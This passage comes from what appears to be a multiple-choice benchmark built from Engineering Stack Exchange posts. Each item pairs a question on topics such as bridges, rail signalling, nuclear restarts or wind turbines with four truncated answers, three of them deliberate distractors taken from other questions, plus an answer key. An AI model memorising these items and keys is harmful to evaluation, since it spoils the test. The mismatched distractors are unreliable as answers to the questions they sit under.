TL;DR: Demand is constantly monitored and supply is constantly adjusted TL;DR 2: Lshaver's excellent post is a suggested reading after reading this, because it expands and explains what happens at timescales ranging from the micro-second to minutes timescales. Changes in energy demand during the day First of all, the energy demand during the day, week, month of year can change quite a lot. Below is a typical day in New England. Fluctuation in power energy consumption a...", "B": "I will expand on DKNguyen answer, because to my knowledge also the two reasons are: reduce contact/bearing stresses (having a significant effect on thin finishes live galvanisation) change the joint tightening characteristics (see joint diagram). reduce contact stresses on surfaces. The basic idea is that since contact stress is defined as: $$\\sigma = \\frac{F}{A}$$ Obviously the larger the area the less the stress. Also, like Nuclear Hoagie pointed out the area changes with a square law of the diameter. UPDATE 2 - Calculation for M6 bolt (thanks to BenC) *The question gathered enough interest for me to carry out a...", "C": "After the 2014 ICCT report revealed that these light-duty passenger diesel vehicles were emitting too much NOx and US regulators confronted VW about the results, VW did some testing and proposed a voluntary software recall to recalibrate the various emissions control devices on the affected vehicles. From the California Air Resources Board's (CARB's) in-use compliance letter to Volkwagen AG, 2015-09-18 , following that recall: To have a more controlled evaluation of the high NOx observed over the road, CARB developed a special dynamometer cycle which consisted of driving the Phase 2 portion of the FTP repeatedly. This special cycle revealed...", "D": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/38920/how-does-turning-off-electric-appliances-save-energy"} {"id": "engineering_50946", "domain": "engineering", "question_title": "Why do wooden gate designs recommend a brace under compression instead of tension?", "question_body": "Looking at guides for building wooden frame gates I almost always find the following design recommendation: The idea is that the cross brace will distribute load from the top outside corner into the bottom of the hinge bracket. I understand this logic and am sure it works but wouldn't it be preferred to use a tension brace rather than a compression brace in this application? For example virtually every recommendation for a wire rope support shows the opposite: In this case the wire rope supports the far end under tension, but is there a reason a 2x4 couldn't also be used under tension rather than compression? Is the former design more effective for some reason? I realize that using the 2x4 for tension would require stronger joinery but it's certainly possible to secure it more than well enough to take the load. Additionally a common theme here seems to be that the load on the gate is too trivial to really care either way but I strongly disagree with that statement. Wooden gates almost never hold up to time, and we aren't talking decades here...most wooden gates will sag within 1-2 years. Wood is certainly a troublesome material but plenty of critical structures have been made from wood with proper engineering and have held up much longer than this. So maybe we should consider complicating things more? It's certainly cheaper and easier to use more complicated joinery/a 99 cent steel bracket and 2x4s than it is to fabricate an all steel gate frame. Are 2x4s just undersized to support a load like this or is it possible the bracing can make a difference?", "question_score": 22, "question_tags": ["structural-engineering"], "choices": {"A": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As...", "B": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only...", "C": "The reason is simple: the load applied on the gate is pretty trivial, and the brace (be it a 2x4 or a wire) is mostly added for rigidity. Indeed, you could put that 2x4 in tension and it would work just as well (since the load is usually trivial, a 2x4 is probably 10x stronger than necessary in both tension and compression). However, as you mentioned, that would require more complex joinery, so... why bother? Obviously, when using a wire, it must be in tension, so you don't even have the choice. But with a 2x4, you can choose, so...", "D": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/50946/why-do-wooden-gate-designs-recommend-a-brace-under-compression-instead-of-tensio"} {"id": "engineering_68", "domain": "engineering", "question_title": "How does width and thickness affect the stiffness of steel plate?", "question_body": "I have a 2 mm thick steel plate which is 300 mm long and 30 mm wide, supported at either end. It supports a weight-bearing wheel that can roll along the plate. It currently supports the maximum weight that I expect it to support when the wheel is in the middle, but it flexes a little bit too much. Would making it wider help to support the weight and increase its stiffness, or do I need to make it thicker? Also is there a way to calculate how the stiffness will change with the thickness (or width if that would affect it)?", "question_score": 21, "question_tags": ["mechanical-engineering", "steel", "stiffness"], "choices": {"A": "Short answer : make it thicker. Long answer : The moment of inertia affects the beam's ability to resist flexing. Use one of the many, free, online moment of inertia calculators (like this one ) to see how increasing the height of the beam will have an exponential effect on increasing the stiffness of the beam. And this site helps provide a pictorial view of the load(s) upon a beam depending upon differing configurations, such as where the supports are and where the load is applied. It also provides a calculator to determine the forces involved. Wikipedia has a decent...", "B": "The difference between the two equations The cavitation number is the ratio of the static pressure difference to the dynamic pressure difference. So, if you want to use the first equation, you would need to take the pressure using a Pitot tube to measure the total pressure, whereas if you want to use the second equation you will need to measure the freestream velocity, but I would recommend measuring it upstream rather than downstream because of possible effects of acceleration and boundary layer growth. Also, your $V$ should be $V_{in}$ such that it corresponds to the same location where $p_{in}$...", "C": "When a reactor is shut down the core produces much less heat, but they do still produce heat through a mechanism known as decay heat . The fact that the core is producing less heat means that the coolant temperature is going to drop, but how far that temperature drops depends on the decay heat generation rate. This in turn is based on operating history, or the power at which the plant was operating before shutdown. This can be large for commercial plants, because they typically operate at or very near capacity and the power companies bring coal or natural...", "D": "I suspect that the answer to this is that, ultimately the gear ratio comes from the ratio of diameters of the gears rather than the number of teeth, although in most circumstances practicality dictates that they are proportional. Say you have a 10 tooth cog and a 40 tooth chainwheel. It's fairly simple to imagine that you could remove every other tooth from the 40 tooth wheel while keeping the diameter the same and maintain exactly the same gear ratio. Similarly you could have a completely gearless wheel (putting aside issues of slippage) driving a chain which drove a geared..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/68/how-does-width-and-thickness-affect-the-stiffness-of-steel-plate"} {"id": "engineering_207", "domain": "engineering", "question_title": "How do engineers really use numerical simulation?", "question_body": "Disclaimer I'm an applied mathematician by training, not an engineer. My work research primarily focuses on creating new \"methods\" to solve different PDE's related to solid deformation (elasticity) and fluid mechanics. In this sense, i know how to solve a pde problem computationally. From my perspective, engineers use my work as \"tools\" to accomplish their work. However, due to my lack of education/experience in engineering, i admit i'm actually rather clueless on how numerical solutions to pde's are really used in an engineers actual practice. The primary source of my confusion is the following: I've been told that engineers never (or should never) conduct numerical simulations (e.g. finite element analysis, CFD, etc...) without knowing or having a good idea ahead of time what the simulation \"should\" look like. This helps engineers discriminate realistic results from questionable ones. However, i argue that if the engineer already knows what is supposed to happen in the simulation, then what's the point of simulation in the first place??? I've always assumed that simulations are needed for predictive purposes, which assumes ignorance of what is to come. That is, I think of a simulation as a stand-alone tool to predict the future when you don't know what to expect . What i'm looking for is a broader perspective into how/when/why engineers use numerical simulations like CFD and Finite Element Analysis, especially if good engineering practice dictates that you should already know what to expect when you're simulating?", "question_score": 21, "question_tags": ["modeling"], "choices": {"A": "Biggest advantage is that when connecting to trailers, there are no bleeding issues. Imagine having to connect hydraulic pipes and remove the air bubbles... As for the amount of air - the compressor and receiving tanks are designed for normal use. However if you wish to accompany AC/DC with the air brakes you will run out. Disc brakes already exist in an airbrake version for trucks - came out over 10 years ago IIRC. But one big difference is that if you lose hydraulics on a car braking system then you lose stopping power (except for handbrake etc) but with...", "B": "I have written mostly about CFD in this answer, however same points should also work for FEA or other simulation techniques. CFD is mostly used for design optimization and parametric study of the design. Following are a few examples showing how engineers use simulations Selection of a design : Read: A conceptual study of airfoil performance enhancement using CFD. This thesis shows use of CFD for selecting the best design out of a number of candidate designs. Engineers often go for simulations to select 'the one' out of many . Shape optimization using CFD : This paper gives an example...", "C": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "D": "Water meets the low compressibility requirement, but there are many other considerations in the design of a hydraulic system: Boiling point/vapor pressure: If the system warms up during operation, the fluid may boil, which results in high compressibility and thus decreased effectiveness of the hydraulic system. Hydraulic fluid has a higher boiling point than water to help combat this. Related to this is the concept of vapor pressure. Hydraulic systems often involve small orifices, which can cause cavitation (localized boiling). This cavitation has the same effects as boiling and can cause pitting damage to the components near the cavitated region...."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/207/how-do-engineers-really-use-numerical-simulation"} {"id": "engineering_435", "domain": "engineering", "question_title": "What makes suspension bridges unsuitable for railways?", "question_body": "I recall reading in an old issue of Model Railroader an article about railroad bridges. In it, the author mentioned that you shouldn't have a model suspension bridge for a railroad track on your layout because no such arrangement would be prototypical. In his own words, \"suspension bridges and trains don't mix.\" I realize that the author probably wasn't an engineer (at least in the sense of this site), but his remark did get me thinking. I am somewhat of a railroad buff, and I can't think of a suspension bridge for trains - the closest thing that comes to mind are the trolley tracks that were on the Brooklyn Bridge * . I understand that there wouldn't be many suspension bridges for trains, since other bridge types would be better suited (cheaper, easier to build, etc.) but why are they so rare? * Bear in mind, though, I live in the US, and am pretty unfamiliar with foreign railroad infrastructure.", "question_score": 21, "question_tags": ["civil-engineering", "bridges", "rail"], "choices": {"A": "There are a few main reasons why suspension bridges aren't used for railroads. The main reason is that suspension bridges are typically used where very long spans are needed. Trains are very heavy, especially when compared to lanes of highway traffic. This means that long spans require very strong support structures, which in the case of suspension bridges are cables and towers. The second reason goes along with the first; trains cause high dynamic loads as they move along the rail. This can increase the vertical loads by 30%. Third is that trains don't really have suspensions, especially freight trains....", "B": "Theoretically pontoon bridges with rope anchors keeping them to the bottom would work against wind and flow, overcoming the problem jhabbot mentioned in his answer (same as train length limit - stretching force). In practice these come with more problems of their own. They drift on water surface and as result, rise and fall with water waves. The larger the body of water they span, the higher the waves; at certain point in stormy weather the bridge would just launch the vehicles into the air. The anchoring isn't exactly simple if it's to withstand such forces. You could just as...", "C": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "D": "BS5950-1:2000 Clause 1.3.23 defines an H-section as having \" an overall depth not greater than 1.2 times its overall width \", and Clause 1.3.25 defines an I section as having \" an overall depth greater than 1.2 times its overall width \". Note that at exactly a ratio of 1.2, it would be an H section not an I section."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/435/what-makes-suspension-bridges-unsuitable-for-railways"} {"id": "engineering_4209", "domain": "engineering", "question_title": "Why do cars turn by turning the front wheel?", "question_body": "Why do we design cars to turn by turning the front wheel? Wouldn't it better to keep all wheels straight and turn by rotating the wheels on one side of a car more then the wheels on the opposite side of the car, like tank tracks do? That way you can turn even if you are standing still. Why don't cars do this?", "question_score": 21, "question_tags": ["automotive-engineering", "wheels"], "choices": {"A": "Note: This is specific to gasoline based engines. Assuming your car was produced after the ~1990's it is equipped with a Deceleration Fuel Cut-Off (DFCO) system which cuts the fuel flow to the engine when the gas pedal is not depressed and the car is in gear. In this case it is more fuel efficient to stay in gear because you are letting gravity run the engine instead of fuel. In addition, it saves wear on your brakes because the partial-vacuum created in the engine leads to engine-braking . In many states in the US it is actually required that...", "B": "If you were going to turn left 90 degrees, without turning the wheels, then you wind up dragging the wheels sideways while you turn. 16 seconds into this video shows exactly what I'm talking about . So every time you try to back out of your driveway, or a parking spot, or turn into a parking spot, or turn anywhere for any reason, you're going to lay down rubber because the tires are rotating quickly while remaining nearly stationary as you turn. Again, look at the wheel slip in the video I linked. You'd be hard pressed to find \"four...", "C": "Please note : I'm not a building designer by trade, but I have had to investigate related questions for other reasons. I'll let you in on a dirty secret about sanitation lines within buildings - The biggest concern is not about how fast things are flying, it's about maintaining air pressure and providing adequate ventilation. This guide presents a bit of a historical background to tall building design with respect to sanitation system design. This presentation provides some more recent perspective and goes into some of the research that is refining current building standards. The traditional viewpoint is that waste...", "D": "After the 2014 ICCT report revealed that these light-duty passenger diesel vehicles were emitting too much NOx and US regulators confronted VW about the results, VW did some testing and proposed a voluntary software recall to recalibrate the various emissions control devices on the affected vehicles. From the California Air Resources Board's (CARB's) in-use compliance letter to Volkwagen AG, 2015-09-18 , following that recall: To have a more controlled evaluation of the high NOx observed over the road, CARB developed a special dynamometer cycle which consisted of driving the Phase 2 portion of the FTP repeatedly. This special cycle revealed..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/4209/why-do-cars-turn-by-turning-the-front-wheel"} {"id": "engineering_6435", "domain": "engineering", "question_title": "Why does the Channel Tunnel enter the ground around 10 km from the coast?", "question_body": "I know that digging tunnels is always much more costly than building ways or train above ground. Why doesn't the Channel Tunnel start around the coastline? Why does it have an around 10 km long portion under land on the British side?", "question_score": 21, "question_tags": ["civil-engineering", "geotechnical-engineering", "rail", "tunnels"], "choices": {"A": "From the point of view of the driver of a car, impacting another car is about as bad as crashing against an ideal wall (a wall with zero deformation whatsoever). If there were a plane reflection between the two cars, then vs. Car would be exactly equal to vs. Wall (the contact points between both cars would all be on the same plane, due to reflection, so each car could be considered a wall for the other). But this plane reflection does not exist: What we have instead is a 2-fold rotational reflection . Let's say the left part of...", "B": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "C": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "D": "If I model this as a simply supported beam having load at mid span [...] I suspect that this is where your analysis went awry. First off, you should always model bridges with distributed loads, not a single concentrated load at midspan. The most significant load on a bridge will almost always be its own self-weight; load-trains are heavy but, well, so are bridges. Secondly, I assume you're thinking of the bridge like this: Indeed, we can see here that the bending moment is greater at midspan. However, that's not the bridge we're looking at, it's missing the cantilevers! So..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/6435/why-does-the-channel-tunnel-enter-the-ground-around-10-km-from-the-coast"} {"id": "engineering_10335", "domain": "engineering", "question_title": "Why would a train automatically derail if a signal is passed at danger?", "question_body": "In a recent incident in London Network Rail said an empty train had travelled past a red signal, which resulted in an automatic derailment. No one was injured. [link] The derailment has caused quite a bit of damage, and a lot of travel disruption along this track. My reading of the National Rail statement is that the derailment was a feature of the system, a response to the signal being passed at danger. While I'm sure it caused less damage than a train collision, it still seems dangerous and expensive. Things like train stops , to trigger the brakes exist, or one could imagine diverting the train into a sand trap. Why weren't options like these used instead of derailing?", "question_score": 21, "question_tags": ["safety", "rail"], "choices": {"A": "When a reactor is shut down the core produces much less heat, but they do still produce heat through a mechanism known as decay heat . The fact that the core is producing less heat means that the coolant temperature is going to drop, but how far that temperature drops depends on the decay heat generation rate. This in turn is based on operating history, or the power at which the plant was operating before shutdown. This can be large for commercial plants, because they typically operate at or very near capacity and the power companies bring coal or natural...", "B": "Firstly, the incident happened as the train was leaving a siding passing a shunt signal. These provide less authorisation than a normal signal does, even when they are not at danger (the train can permit as far as the line is clear or the next signal , there is no guarantee the track ahead is clear). Now, in the UK, there are four train protection systems: AWS, TPWS, ATP, and ETCS. However, these are all primarily designed for trains on normal running lines, rather than those on sidings. I'll examine each of these in turn insofar as they protect signals:...", "C": "If the receiver does not detect the sub-carrier for the \"colour burst\" signal which is transmitted during the horizontal blanking period the receiver switches on the \"colour-killer\" circuit so the set reverts to black and white mode. The colour-burst signal - 8 to 10 cycles of 3.85 MHz - is unlikely to be generated by random noise. Figure 1. The colorburst signal is transmitted on the \"back porch\" between the horizontal blanking pulse and the start of that line's luminance signal. The colorburst signal is used to synchronise the QAM (quadrature amplitude modulation) oscillator which can hold its frequency accurately...", "D": "After the 2014 ICCT report revealed that these light-duty passenger diesel vehicles were emitting too much NOx and US regulators confronted VW about the results, VW did some testing and proposed a voluntary software recall to recalibrate the various emissions control devices on the affected vehicles. From the California Air Resources Board's (CARB's) in-use compliance letter to Volkwagen AG, 2015-09-18 , following that recall: To have a more controlled evaluation of the high NOx observed over the road, CARB developed a special dynamometer cycle which consisted of driving the Phase 2 portion of the FTP repeatedly. This special cycle revealed..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/10335/why-would-a-train-automatically-derail-if-a-signal-is-passed-at-danger"} {"id": "engineering_1706", "domain": "engineering", "question_title": "Does a roadway bridge experience more load when vehicles are parked or when they are moving?", "question_body": "Bridges are designed for the loads that come from the vehicles that are expected to cross them. This includes the weight the vehicle and any dynamic loads that may be introduced from movement of the vehicle. Dynamic loads may be from \"bouncing\" or from hitting a joint or pothole. Initially it would seem obvious that more load is applied to a bridge while the vehicles are in motion (weight of vehicle plus dynamic load). The dynamic loads are proportional to the travelling speed of the vehicles, but as vehicles go faster, they typically are spaced farther apart. When vehicles are stopped, they typically are much more closely spaced than when they are moving. Can there be a situation where more load is on a bridge because of closely spaced parked vehicles than from moving vehicles that are farther apart? Are these two situations covered in bridge design?", "question_score": 20, "question_tags": ["civil-engineering", "bridges", "structural-engineering"], "choices": {"A": "Electricity production optimization is a very complex subject. It is also affected by many parameters , which I will try to outline below. TL;DR: Demand is constantly monitored and supply is constantly adjusted TL;DR 2: Lshaver's excellent post is a suggested reading after reading this, because it expands and explains what happens at timescales ranging from the micro-second to minutes timescales. Changes in energy demand during the day First of all, the energy demand during the day, week, month of year can change quite a lot. Below is a typical day in New England. Fluctuation in power energy consumption a...", "B": "This is to make sure they know what the foundation is made of. For all they knew there may have been an old tunnel underneath that would have collapsed when the new building is put on top. London is built on top of an old marsh, this type of soil is very prone to sinking and uneven settling, digging down and reinforcing the foundation alleviates that. It also ensures the foundation is uniform under the building to avoid a new tower of Pisa. Given the age of the city it may have been to scour the land for potential archaeological...", "C": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "D": "Parked vehicles vs moving vehicles Closely spaced parked (or slow moving) vehicles are definitely more onerous, as stated on page 89, Appendix 2.A, Clause 2.A.1 of the South African bridge design code TMH7 : It is generally accepted and can readily be shown that except in the very small span range, the worst loading condition occurs under congested (bumper to bumper) conditions caused by a traffic blockage and that the dispersion of traffic at speed caused by increased vehicular inter-spacing, more than off-sets the effects of impact. However, this is only true by inspection for an unlimited number of vehicles..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/1706/does-a-roadway-bridge-experience-more-load-when-vehicles-are-parked-or-when-they"} {"id": "engineering_7245", "domain": "engineering", "question_title": "What material is used to hold molten iron in a furnace?", "question_body": "When iron is melted, I guess it has to be transported and contained. I think the container in which it is has to be able to withstand higher temperatures than what you want to melt. According to this webiste , \"Iron, Wrought\" has a melting temperature of 1482 - 1593 °C. There are a couple of other metals which have higher melting points (e.g. Wolfram (tungsten) with over 3400 °C), but all I can think of are much more expensive. So what material is the oven / \"bottle\" / \"basin\" (or however you call it) made of? (Side question: Iron has been melted for quite a while now. I guess this has changed over the years. Of which materials was it before?)", "question_score": 20, "question_tags": ["metallurgy"], "choices": {"A": "Please note : I'm not a building designer by trade, but I have had to investigate related questions for other reasons. I'll let you in on a dirty secret about sanitation lines within buildings - The biggest concern is not about how fast things are flying, it's about maintaining air pressure and providing adequate ventilation. This guide presents a bit of a historical background to tall building design with respect to sanitation system design. This presentation provides some more recent perspective and goes into some of the research that is refining current building standards. The traditional viewpoint is that waste...", "B": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an...", "C": "Summary Crucibles are lined with refractory materials. Steel processing makes use of graphite or a combination of chromite and magnesite for direct contact with the melt. Cast iron processing often uses engineered clays, also known as alumina-magnesia-silica mixtures. Graphite is harder to form than clay-type refractories. To be suitable as a refractory, a material must meet a number of property requirements to be both economical and safe. Refractory Materials As you noted, iron has a high-end melting point of about 1,540 °C on the far left side of the $\\textrm{Fe-C}$ phase diagram below, in the form of pure iron. There...", "D": "This will at least depend on the: Rate of Cooling Magnetic field strength Exact composition The magnetic field will alter the microstructure as you can read in, for example, Yudong Zhang, Nathalie Gey, Changshu He, Xiang Zhao, Liang Zuo, Claude Esling, High temperature tempering behaviors in a structural steel under high magnetic field, Acta Materialia, Volume 52, Issue 12, 12 July 2004, Pages 3467-3474, ISSN 1359-6454, http://dx.doi.org/10.1016/j.actamat.2004.03.044 . G.M. Ludtka, R.A. Jaramillo, R.A. Kisner, D.M. Nicholson, J.B. Wilgen, G. Mackiewicz-Ludtka, P.N. Kalu, In situ evidence of enhanced transformation kinetics in a medium carbon steel due to a high magnetic field,..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/7245/what-material-is-used-to-hold-molten-iron-in-a-furnace"} {"id": "engineering_7394", "domain": "engineering", "question_title": "Why does it take so long to restart a nuclear power plant?", "question_body": "I have heard a couple of times that an operating nuclear power plant which was shut down (non-emergency; e.g. for a regular check) needs over 24 hours (up to 72 hours?) to get up running again. Why does it take that long?", "question_score": 20, "question_tags": ["power", "nuclear-technology", "electrical-grid"], "choices": {"A": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "B": "As other have pointed out, the main utility is to allow easier cleaning of the tank cars from sediment (solid precipitates). Usually, there is a drain in the lowest point. The reason that it is in the middle is that in this way, you can allow double the incline compared to if you had the drain at one of the ends for the same height. For example, if the allowed height difference is about 15 cm, and about 15 m length, then if you had the drain in: the edge, the angle would be $\\arctan\\left(\\frac{0.15}{15}\\right)=0.57^\\circ$ or 1%. the middle ,...", "C": "When a reactor is shut down the core produces much less heat, but they do still produce heat through a mechanism known as decay heat . The fact that the core is producing less heat means that the coolant temperature is going to drop, but how far that temperature drops depends on the decay heat generation rate. This in turn is based on operating history, or the power at which the plant was operating before shutdown. This can be large for commercial plants, because they typically operate at or very near capacity and the power companies bring coal or natural...", "D": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/7394/why-does-it-take-so-long-to-restart-a-nuclear-power-plant"} {"id": "engineering_12453", "domain": "engineering", "question_title": "Windmills in empty fields. Why no trees?", "question_body": "I have noticed that windmills are generally built in empty fields with no trees around, and I've been wondering why... A windmill is generally way taller than trees and I can imagine that trees don't actually affect the flow (see picture). But is this the reason why there is nothing around or is there something else that makes them waste so much space around? And is the velocity profile from the first figure a realistic one? If I search for the theory of external convection, the velocity profile looks like this for flow over a plateau: In the second case, wouldn't the velocity be higher if there is an obstacle? Or is it because the obstacle is a porous medium that damps the flow? And lastly, is the velocity profile at earth level looking like that? Is there really an origin to it, or is it fully turbulent all the way?", "question_score": 20, "question_tags": ["mechanical-engineering", "fluid-mechanics", "thermodynamics", "heat-transfer"], "choices": {"A": "Trees increase the turbulence of the air that reaches the turbines. That creates all sorts of uneven, rapidly-shifting loads on the blades and structure. That increases the maintenance costs, decreases availability, decreases the capacity factor, and decreases the life expectancy of the turbine. So, higher costs, lower revenue. One of the ways we measure the impact is the surface roughness coefficient $z_0$. Here are the figures from the book \" Wind Energy - The Facts \". As you can see, forest and woodland has a much higher $z_0$ than open farmland - and that means higher turbulence. Open land also...", "B": "After the 2014 ICCT report revealed that these light-duty passenger diesel vehicles were emitting too much NOx and US regulators confronted VW about the results, VW did some testing and proposed a voluntary software recall to recalibrate the various emissions control devices on the affected vehicles. From the California Air Resources Board's (CARB's) in-use compliance letter to Volkwagen AG, 2015-09-18 , following that recall: To have a more controlled evaluation of the high NOx observed over the road, CARB developed a special dynamometer cycle which consisted of driving the Phase 2 portion of the FTP repeatedly. This special cycle revealed...", "C": "For long freight trains and those that will be climbing to stations at higher altitudes, an extra or two locomotives are attached to the front. I've always wondered why. As usual there are multiple issues. Most important is landscape. If more power than a single locomotive can provide is not needed for the whole trip, but only a short stretch, like climbing or crossing a mountain range, then it would be a huge waste of resources to attach them the whole trip. For example, take a 10 hour trip time, where all, except for a 1 hour stretch, can be...", "D": "Those are counterweights . They work exactly the same as those lead counterbalance weights on the wheels of your automobile. If they left those out, then those connecting rods and bearings would create an out-of-balance condition, and the wheels would vibrate at higher speeds. That could very well damage the wheels. But as a couple of others have nicely pointed out, the violent shaking could derail the train ."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/12453/windmills-in-empty-fields-why-no-trees"} {"id": "engineering_32376", "domain": "engineering", "question_title": "What are the engineering principles for a train to get electricity from the railway", "question_body": "How many general methods are there for transferring electricity from the railway to a train? I could see that some trains are connected by a pantograph and some have a third rail. Are there any other methods? What is the general engineering principle behind each? What are the basic differences (pros and cons) of each method? I was looking for these questions but could not find a good review. If anyone has a reference or could answer them kindly do. Also, is it possible to build a small model of such a system and scale it up? I am not talking about a commercial model train. I am aiming at self-designing the same engineering principals and demonstrating them on a scalable small model. If so, I would be happy to have a nice tutorial reference. I am focusing on Electric multiple units (EMU) .", "question_score": 20, "question_tags": ["rail"], "choices": {"A": "Please note : I'm not a building designer by trade, but I have had to investigate related questions for other reasons. I'll let you in on a dirty secret about sanitation lines within buildings - The biggest concern is not about how fast things are flying, it's about maintaining air pressure and providing adequate ventilation. This guide presents a bit of a historical background to tall building design with respect to sanitation system design. This presentation provides some more recent perspective and goes into some of the research that is refining current building standards. The traditional viewpoint is that waste...", "B": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As...", "C": "Pantograph and third rail are pretty much it. Engineering principles: both have a conducting surface on the train (moving) in contact with the stationary rail/wire, in both cases you need a material that's resilient and conductive. The contact strip is a wear material . Differences: overhead catenary wires are flexible and will move around when a train drives underneath them. At high speeds, the pantograph can set up waves in the catenary wire, if these waves aren't damped sufficiently, the pantograph will start bouncing. third rail is limited to low voltages to reduce the risk of arcing between the rails....", "D": "If the receiver does not detect the sub-carrier for the \"colour burst\" signal which is transmitted during the horizontal blanking period the receiver switches on the \"colour-killer\" circuit so the set reverts to black and white mode. The colour-burst signal - 8 to 10 cycles of 3.85 MHz - is unlikely to be generated by random noise. Figure 1. The colorburst 